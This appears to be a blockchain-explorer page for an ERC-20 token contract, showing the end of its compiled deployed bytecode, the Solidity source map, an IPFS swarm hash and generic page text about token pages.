65b60008184841115610daa5760405162461bcd60e51b815260040161065b9190611241565b506000610db7848661149e565b95945050505050565b6005546001600160a01b03163314610e0f5760405162461bcd60e51b81526020600482015260126024820152716e6f7420656e6f7567682042616c616e636560701b604482015260640161065b565b565b6040805180820182526013815272496e756666696369656e742042616c616e636560681b6020808301919091526001600160a01b0386166000908152600490915291822054610e61918490610d86565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610e9090836111b4565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee49086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f3e57610f3e61143c565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbb9190611481565b81600181518110610fce57610fce61143c565b6001600160a01b039283166020918202929092010152600e54610ff491309116846108eb565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061102d9085906000908690309042906004016114b5565b600060405180830381600087803b15801561104757600080fd5b505af1925050508015611058575060015b5047801561109c576005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561109a573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d86565b600082600003611102575060006104f3565b600061110e8385611526565b90508261111b8583611545565b1461055d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161065b565b600061055d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611213565b6000806111c18385611567565b90508381101561055d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161065b565b600081836112345760405162461bcd60e51b815260040161065b9190611241565b506000610db78486611545565b600060208083528351808285015260005b8181101561126e57858101830151858201604001528201611252565b81811115611280576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112ab57600080fd5b50565b600080604083850312156112c157600080fd5b82356112cc81611296565b946020939093013593505050565b6000806000606084860312156112ef57600080fd5b83356112fa81611296565b9250602084013561130a81611296565b929592945050506040919091013590565b60006020828403121561132d57600080fd5b813561055d81611296565b6000806000806060858703121561134e57600080fd5b8435801515811461135e57600080fd5b935060208501359250604085013567ffffffffffffffff8082111561138257600080fd5b818701915087601f83011261139657600080fd5b8135818111156113a557600080fd5b8860208260051b85010111156113ba57600080fd5b95989497505060200194505050565b600080604083850312156113dc57600080fd5b82356113e781611296565b915060208301356113f781611296565b809150509250929050565b600181811c9082168061141657607f821691505b60208210810361143657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161147a5761147a611452565b5060010190565b60006020828403121561149357600080fd5b815161055d81611296565b6000828210156114b0576114b0611452565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115055784516001600160a01b0316835293830193918301916001016114e0565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561154057611540611452565b500290565b60008261156257634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561157a5761157a611452565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9f0f99a081c959eeb9d0ad9b8aef064665fd34b370d1f73afd7c2d9ab69794164736f6c634300080f0033

Deployed Bytecode Sourcemap

3632:6436:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5005:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5990:161;;;;;;;;;;-1:-1:-1;5990:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;5990:161:0;1072:187:1;5347:41:0;;;;;;;;;;-1:-1:-1;5347:41:0;;;;-1:-1:-1;;;;;5347:41:0;;;;;;-1:-1:-1;;;;;1454:32:1;;;1436:51;;1424:2;1409:18;5347:41:0;1264:229:1;5561:100:0;;;;;;;;;;-1:-1:-1;5641:12:0;;5561:100;;;1644:25:1;;;1632:2;1617:18;5561:100:0;1498:177:1;7972:313:0;;;;;;;;;;-1:-1:-1;7972:313:0;;;;;:::i;:::-;;:::i;6159:83::-;;;;;;;;;;-1:-1:-1;6225:9:0;;6159:83;;6225:9;;;;2283:36:1;;2271:2;2256:18;6159:83:0;2141:184:1;3996:50:0;;;;;;;;;;-1:-1:-1;3996:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3884:27;;;;;;;;;;-1:-1:-1;3884:27:0;;;;-1:-1:-1;;;;;3884:27:0;;;5669:313;;;;;;;;;;-1:-1:-1;5669:313:0;;;;;:::i;:::-;;:::i;:::-;;4053:45;;;;;;;;;;-1:-1:-1;4053:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1517:156;;;;;;;;;;-1:-1:-1;1517:156:0;;;;;:::i;:::-;;:::i;5434:119::-;;;;;;;;;;-1:-1:-1;5434:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5527:18:0;5500:7;5527:18;;;:9;:18;;;;;;;5434:119;1311:79;;;;;;;;;;-1:-1:-1;1349:7:0;1376:6;-1:-1:-1;;;;;1376:6:0;1311:79;;6250:87;;;;;;;;;;;;;:::i;7319:167::-;;;;;;;;;;-1:-1:-1;7319:167:0;;;;;:::i;:::-;;:::i;4154:35::-;;;;;;;;;;;;;;;;4972:26;;;;;;;;;;-1:-1:-1;4972:26:0;;;;-1:-1:-1;;;;;4972:26:0;;;4196:36;;;;;;;;;;;;;;;;7494:468;;;;;;;;;;;;;:::i;8295:143::-;;;;;;;;;;-1:-1:-1;8295:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;8403:18:0;;;8376:7;8403:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8295:143;4105:40;;;;;;;;;;-1:-1:-1;4105:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5005:83;5042:13;5075:5;5068:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5005:83;:::o;5990:161::-;6065:4;6082:39;193:10;6105:7;6114:6;6082:8;:39::i;:::-;-1:-1:-1;6139:4:0;5990:161;;;;;:::o;7972:313::-;8070:4;8087:36;8097:6;8105:9;8116:6;8087:9;:36::i;:::-;-1:-1:-1;8134:121:0;8143:6;193:10;8165:89;8203:6;8165:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8165:19:0;;;;;;:11;:19;;;;;;;;193:10;8165:33;;;;;;;;;;:37;:89::i;:::-;8134:8;:121::i;:::-;-1:-1:-1;8273:4:0;7972:313;;;;;;:::o;5669:::-;5761:5;:3;:5::i;:::-;5789;5777:9;5805:127;5818:17;;;5805:127;;;5857:12;5872:6;;5879:1;5872:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5896:13:0;;;;;:7;:13;;;;;:23;;-1:-1:-1;;5896:23:0;;;;;;;-1:-1:-1;5837:3:0;;;:::i;:::-;;;5805:127;;;;5950:3;5946:1;:7;5942:32;;;5965:4;;-1:-1:-1;;;;;5965:4:0;5955:15;;;;:9;:15;;;;;:19;;;5942:32;5750:232;5669:313;;;;:::o;1517:156::-;1224:6;;-1:-1:-1;;;;;1224:6:0;193:10;1224:22;1216:67;;;;-1:-1:-1;;;1216:67:0;;5247:2:1;1216:67:0;;;5229:21:1;;;5266:18;;;5259:30;5325:34;5305:18;;;5298:62;5377:18;;1216:67:0;;;;;;;;;1590:6:::1;:19:::0;;-1:-1:-1;;;;;;1590:19:0::1;-1:-1:-1::0;;;;;1590:19:0;::::1;::::0;;::::1;::::0;;1625:40:::1;::::0;1590:19;;;;1625:40:::1;::::0;1590:6;1625:40:::1;1517:156:::0;:::o;6250:87::-;6289:13;6322:7;6315:14;;;;;:::i;7319:167::-;7397:4;7414:42;193:10;7438:9;7449:6;7414:9;:42::i;7494:468::-;1224:6;;-1:-1:-1;;;;;1224:6:0;193:10;1224:22;1216:67;;;;-1:-1:-1;;;1216:67:0;;5247:2:1;1216:67:0;;;5229:21:1;;;5266:18;;;5259:30;5325:34;5305:18;;;5298:62;5377:18;;1216:67:0;5045:356:1;1216:67:0;7544:35:::1;7601:42;7544:100;;7687:16;-1:-1:-1::0;;;;;7687:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7669:70:0::1;;7748:4;7755:16;-1:-1:-1::0;;;;;7755:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7669:110;::::0;-1:-1:-1;;;;;;7669:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5892:15:1;;;7669:110:0::1;::::0;::::1;5874:34:1::0;5944:15;;5924:18;;;5917:43;5809:18;;7669:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7655:11;:124:::0;;-1:-1:-1;;;;;7655:124:0;;::::1;-1:-1:-1::0;;;;;;7655:124:0;;::::1;;::::0;;7790:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;7890:12:::1;::::0;7855:4:::1;7655:11;7835:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;:67;;;;7934:11;;;;::::1;7913:34:::0;;:12:::1;:34:::0;;;;:41;;-1:-1:-1;;7913:41:0::1;7655:124:::0;7913:41:::1;::::0;;7494:468::o;4629:337::-;-1:-1:-1;;;;;4722:19:0;;4714:68;;;;-1:-1:-1;;;4714:68:0;;6173:2:1;4714:68:0;;;6155:21:1;6212:2;6192:18;;;6185:30;6251:34;6231:18;;;6224:62;-1:-1:-1;;;6302:18:1;;;6295:34;6346:19;;4714:68:0;5971:400:1;4714:68:0;-1:-1:-1;;;;;4801:21:0;;4793:68;;;;-1:-1:-1;;;4793:68:0;;6578:2:1;4793:68:0;;;6560:21:1;6617:2;6597:18;;;6590:30;6656:34;6636:18;;;6629:62;-1:-1:-1;;;6707:18:1;;;6700:32;6749:19;;4793:68:0;6376:398:1;4793:68:0;-1:-1:-1;;;;;4874:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4926:32;;1644:25:1;;;4926:32:0;;1617:18:1;4926:32:0;;;;;;;4629:337;;;:::o;8446:1617::-;8524:4;-1:-1:-1;;;;;8551:18:0;;8543:68;;;;-1:-1:-1;;;8543:68:0;;6981:2:1;8543:68:0;;;6963:21:1;7020:2;7000:18;;;6993:30;7059:34;7039:18;;;7032:62;-1:-1:-1;;;7110:18:1;;;7103:35;7155:19;;8543:68:0;6779:401:1;8543:68:0;-1:-1:-1;;;;;8630:16:0;;8622:64;;;;-1:-1:-1;;;8622:64:0;;7387:2:1;8622:64:0;;;7369:21:1;7426:2;7406:18;;;7399:30;7465:34;7445:18;;;7438:62;-1:-1:-1;;;7516:18:1;;;7509:33;7559:19;;8622:64:0;7185:399:1;8622:64:0;-1:-1:-1;;;;;8706:13:0;;;;;;:7;:13;;;;;;;;8705:14;8697:23;;;;;;8736:16;;-1:-1:-1;;;8736:16:0;;;;8733:1323;;;8785:32;8800:4;8806:2;8810:6;8785:14;:32::i;:::-;8778:39;;;;8733:1323;8918:4;8869:28;5527:18;;;:9;:18;;;;;;8944:16;;-1:-1:-1;;;8944:16:0;;;;8943:17;:40;;;;-1:-1:-1;;;;;;8965:18:0;;;;;;:12;:18;;;;;;;;8964:19;8943:40;8939:131;;;9018:36;9033:20;9018:14;:36::i;:::-;-1:-1:-1;;;;;9104:15:0;;;;;;:9;:15;;;;;;:27;;9124:6;9104:19;:27::i;:::-;-1:-1:-1;;;;;9086:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9186:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9213:21:0;;;;;;:17;:21;;;;;;;;9186:48;9182:711;;;-1:-1:-1;9268:6:0;9182:711;;;-1:-1:-1;;;;;9358:18:0;;9313:17;9358:18;;;:12;:18;;;;;;;;9355:252;;;9413:37;9446:3;9413:28;9424:16;;9413:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9401:49;;9355:252;;;-1:-1:-1;;;;;9496:16:0;;;;;;:12;:16;;;;;;;;9493:114;;;9549:38;9583:3;9549:29;9560:17;;9549:6;:10;;:29;;;;:::i;:38::-;9537:50;;9493:114;9630:13;;9627:195;;9713:4;9695:24;;;;:9;:24;;;;;;:39;;9724:9;9695:28;:39::i;:::-;9686:4;9668:24;;;;:9;:24;;;;;;;:66;;;;9762:40;;-1:-1:-1;;;;;9762:40:0;;;;;;;9792:9;1644:25:1;;1632:2;1617:18;;1498:177;9762:40:0;;;;;;;;9627:195;9856:21;:6;9867:9;9856:10;:21::i;:::-;9842:35;;9294:599;9182:711;-1:-1:-1;;;;;9937:13:0;;;;;;:9;:13;;;;;;:30;;9955:11;9937:17;:30::i;:::-;-1:-1:-1;;;;;9921:13:0;;;;;;;:9;:13;;;;;;;:46;;;;9987:31;;;;;;;;;;10006:11;1644:25:1;;1632:2;1617:18;;1498:177;9987:31:0;;;;;;;;10040:4;10033:11;;;;;;2039:192;2125:7;2161:12;2153:6;;;;2145:29;;;;-1:-1:-1;;;2145:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2185:9:0;2197:5;2201:1;2197;:5;:::i;:::-;2185:17;2039:192;-1:-1:-1;;;;;2039:192:0:o;5096:95::-;5157:4;;-1:-1:-1;;;;;5157:4:0;5143:10;:18;5135:48;;;;-1:-1:-1;;;5135:48:0;;7921:2:1;5135:48:0;;;7903:21:1;7960:2;7940:18;;;7933:30;-1:-1:-1;;;7979:18:1;;;7972:48;8037:18;;5135:48:0;7719:342:1;5135:48:0;5096:95::o;6982:329::-;7112:52;;;;;;;;;;;-1:-1:-1;;;7112:52:0;;;;;;;;-1:-1:-1;;;;;7112:17:0;;7075:4;7112:17;;;:9;:17;;;;;;;:52;;7134:6;;7112:21;:52::i;:::-;-1:-1:-1;;;;;7092:17:0;;;;;;;:9;:17;;;;;;:72;;;;7198:20;;;;;;;:32;;7223:6;7198:24;:32::i;:::-;-1:-1:-1;;;;;7175:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7246:35;;;;;;;;;;7274:6;1644:25:1;;1632:2;1617:18;;1498:177;7246:35:0;;;;;;;;-1:-1:-1;7299:4:0;6982:329;;;;;:::o;6345:629::-;5259:16;:23;;-1:-1:-1;;;;5259:23:0;-1:-1:-1;;;5259:23:0;;;6451:16:::1;::::0;;6465:1:::1;6451:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6451:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6451:16:0::1;6427:40;;6496:4;6478;6483:1;6478:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6478:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6522:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;6522:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;6478:7;;6522:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6512:4;6517:1;6512:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6512:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6589:15:::1;::::0;6557:58:::1;::::0;6574:4:::1;::::0;6589:15:::1;6607:7:::0;6557:8:::1;:58::i;:::-;6632:15;::::0;:193:::1;::::0;-1:-1:-1;;;6632:193:0;;-1:-1:-1;;;;;6632:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;6713:7;;6632:15:::1;::::0;6752:4;;6779::::1;::::0;6799:15:::1;::::0;6632:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;6628:208:::0;6871:21:::1;6908:16:::0;;6905:61:::1;;6939:4;::::0;:27:::1;::::0;-1:-1:-1;;;;;6939:4:0;;::::1;::::0;:27;::::1;;;::::0;6953:12;;6939:4:::1;:27:::0;:4;:27;6953:12;6939:4;:27;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;6905:61;-1:-1:-1::0;;5305:16:0;:24;;-1:-1:-1;;;;5305:24:0;;;-1:-1:-1;6345:629:0:o;1895:136::-;1953:7;1980:43;1984:1;1987;1980:43;;;;;;;;;;;;;;;;;:3;:43::i;2239:248::-;2297:7;2321:1;2326;2321:6;2317:47;;-1:-1:-1;2351:1:0;2344:8;;2317:47;2374:9;2386:5;2390:1;2386;:5;:::i;:::-;2374:17;-1:-1:-1;2419:1:0;2410:5;2414:1;2374:17;2410:5;:::i;:::-;:10;2402:56;;;;-1:-1:-1;;;2402:56:0;;9780:2:1;2402:56:0;;;9762:21:1;9819:2;9799:18;;;9792:30;9858:34;9838:18;;;9831:62;-1:-1:-1;;;9909:18:1;;;9902:31;9950:19;;2402:56:0;9578:397:1;2495:132:0;2553:7;2580:39;2584:1;2587;2580:39;;;;;;;;;;;;;;;;;:3;:39::i;1706:181::-;1764:7;;1796:5;1800:1;1796;:5;:::i;:::-;1784:17;;1825:1;1820;:6;;1812:46;;;;-1:-1:-1;;;1812:46:0;;10315:2:1;1812:46:0;;;10297:21:1;10354:2;10334:18;;;10327:30;10393:29;10373:18;;;10366:57;10440:18;;1812:46:0;10113:351:1;2635:189:0;2721:7;2756:12;2749:5;2741:28;;;;-1:-1:-1;;;2741:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2780:9:0;2792:5;2796:1;2792;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1680:456::-;1757:6;1765;1773;1826:2;1814:9;1805:7;1801:23;1797:32;1794:52;;;1842:1;1839;1832:12;1794:52;1881:9;1868:23;1900:31;1925:5;1900:31;:::i;:::-;1950:5;-1:-1:-1;2007:2:1;1992:18;;1979:32;2020:33;1979:32;2020:33;:::i;:::-;1680:456;;2072:7;;-1:-1:-1;;;2126:2:1;2111:18;;;;2098:32;;1680:456::o;2330:247::-;2389:6;2442:2;2430:9;2421:7;2417:23;2413:32;2410:52;;;2458:1;2455;2448:12;2410:52;2497:9;2484:23;2516:31;2541:5;2516:31;:::i;2806:844::-;2907:6;2915;2923;2931;2984:2;2972:9;2963:7;2959:23;2955:32;2952:52;;;3000:1;2997;2990:12;2952:52;3039:9;3026:23;3092:5;3085:13;3078:21;3071:5;3068:32;3058:60;;3114:1;3111;3104:12;3058:60;3137:5;-1:-1:-1;3189:2:1;3174:18;;3161:32;;-1:-1:-1;3244:2:1;3229:18;;3216:32;3267:18;3297:14;;;3294:34;;;3324:1;3321;3314:12;3294:34;3362:6;3351:9;3347:22;3337:32;;3407:7;3400:4;3396:2;3392:13;3388:27;3378:55;;3429:1;3426;3419:12;3378:55;3469:2;3456:16;3495:2;3487:6;3484:14;3481:34;;;3511:1;3508;3501:12;3481:34;3564:7;3559:2;3549:6;3546:1;3542:14;3538:2;3534:23;3530:32;3527:45;3524:65;;;3585:1;3582;3575:12;3524:65;2806:844;;;;-1:-1:-1;;3616:2:1;3608:11;;-1:-1:-1;;;2806:844:1:o;3863:388::-;3931:6;3939;3992:2;3980:9;3971:7;3967:23;3963:32;3960:52;;;4008:1;4005;3998:12;3960:52;4047:9;4034:23;4066:31;4091:5;4066:31;:::i;:::-;4116:5;-1:-1:-1;4173:2:1;4158:18;;4145:32;4186:33;4145:32;4186:33;:::i;:::-;4238:7;4228:17;;;3863:388;;;;;:::o;4256:380::-;4335:1;4331:12;;;;4378;;;4399:61;;4453:4;4445:6;4441:17;4431:27;;4399:61;4506:2;4498:6;4495:14;4475:18;4472:38;4469:161;;4552:10;4547:3;4543:20;4540:1;4533:31;4587:4;4584:1;4577:15;4615:4;4612:1;4605:15;4469:161;;4256:380;;;:::o;4641:127::-;4702:10;4697:3;4693:20;4690:1;4683:31;4733:4;4730:1;4723:15;4757:4;4754:1;4747:15;4773:127;4834:10;4829:3;4825:20;4822:1;4815:31;4865:4;4862:1;4855:15;4889:4;4886:1;4879:15;4905:135;4944:3;4965:17;;;4962:43;;4985:18;;:::i;:::-;-1:-1:-1;5032:1:1;5021:13;;4905:135::o;5406:251::-;5476:6;5529:2;5517:9;5508:7;5504:23;5500:32;5497:52;;;5545:1;5542;5535:12;5497:52;5577:9;5571:16;5596:31;5621:5;5596:31;:::i;7589:125::-;7629:4;7657:1;7654;7651:8;7648:34;;;7662:18;;:::i;:::-;-1:-1:-1;7699:9:1;;7589:125::o;8198:980::-;8460:4;8508:3;8497:9;8493:19;8539:6;8528:9;8521:25;8565:2;8603:6;8598:2;8587:9;8583:18;8576:34;8646:3;8641:2;8630:9;8626:18;8619:31;8670:6;8705;8699:13;8736:6;8728;8721:22;8774:3;8763:9;8759:19;8752:26;;8813:2;8805:6;8801:15;8787:29;;8834:1;8844:195;8858:6;8855:1;8852:13;8844:195;;;8923:13;;-1:-1:-1;;;;;8919:39:1;8907:52;;9014:15;;;;8979:12;;;;8955:1;8873:9;8844:195;;;-1:-1:-1;;;;;;;9095:32:1;;;;9090:2;9075:18;;9068:60;-1:-1:-1;;;9159:3:1;9144:19;9137:35;9056:3;8198:980;-1:-1:-1;;;8198:980:1:o;9183:168::-;9223:7;9289:1;9285;9281:6;9277:14;9274:1;9271:21;9266:1;9259:9;9252:17;9248:45;9245:71;;;9296:18;;:::i;:::-;-1:-1:-1;9336:9:1;;9183:168::o;9356:217::-;9396:1;9422;9412:132;;9466:10;9461:3;9457:20;9454:1;9447:31;9501:4;9498:1;9491:15;9529:4;9526:1;9519:15;9412:132;-1:-1:-1;9558:9:1;;9356:217::o;9980:128::-;10020:3;10051:1;10047:6;10044:1;10041:13;10038:39;;;10057:18;;:::i;:::-;-1:-1:-1;10093:9:1;;9980:128::o

Swarm Source

ipfs://e9f0f99a081c959eeb9d0ad9b8aef064665fd34b370d1f73afd7c2d9ab697941
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.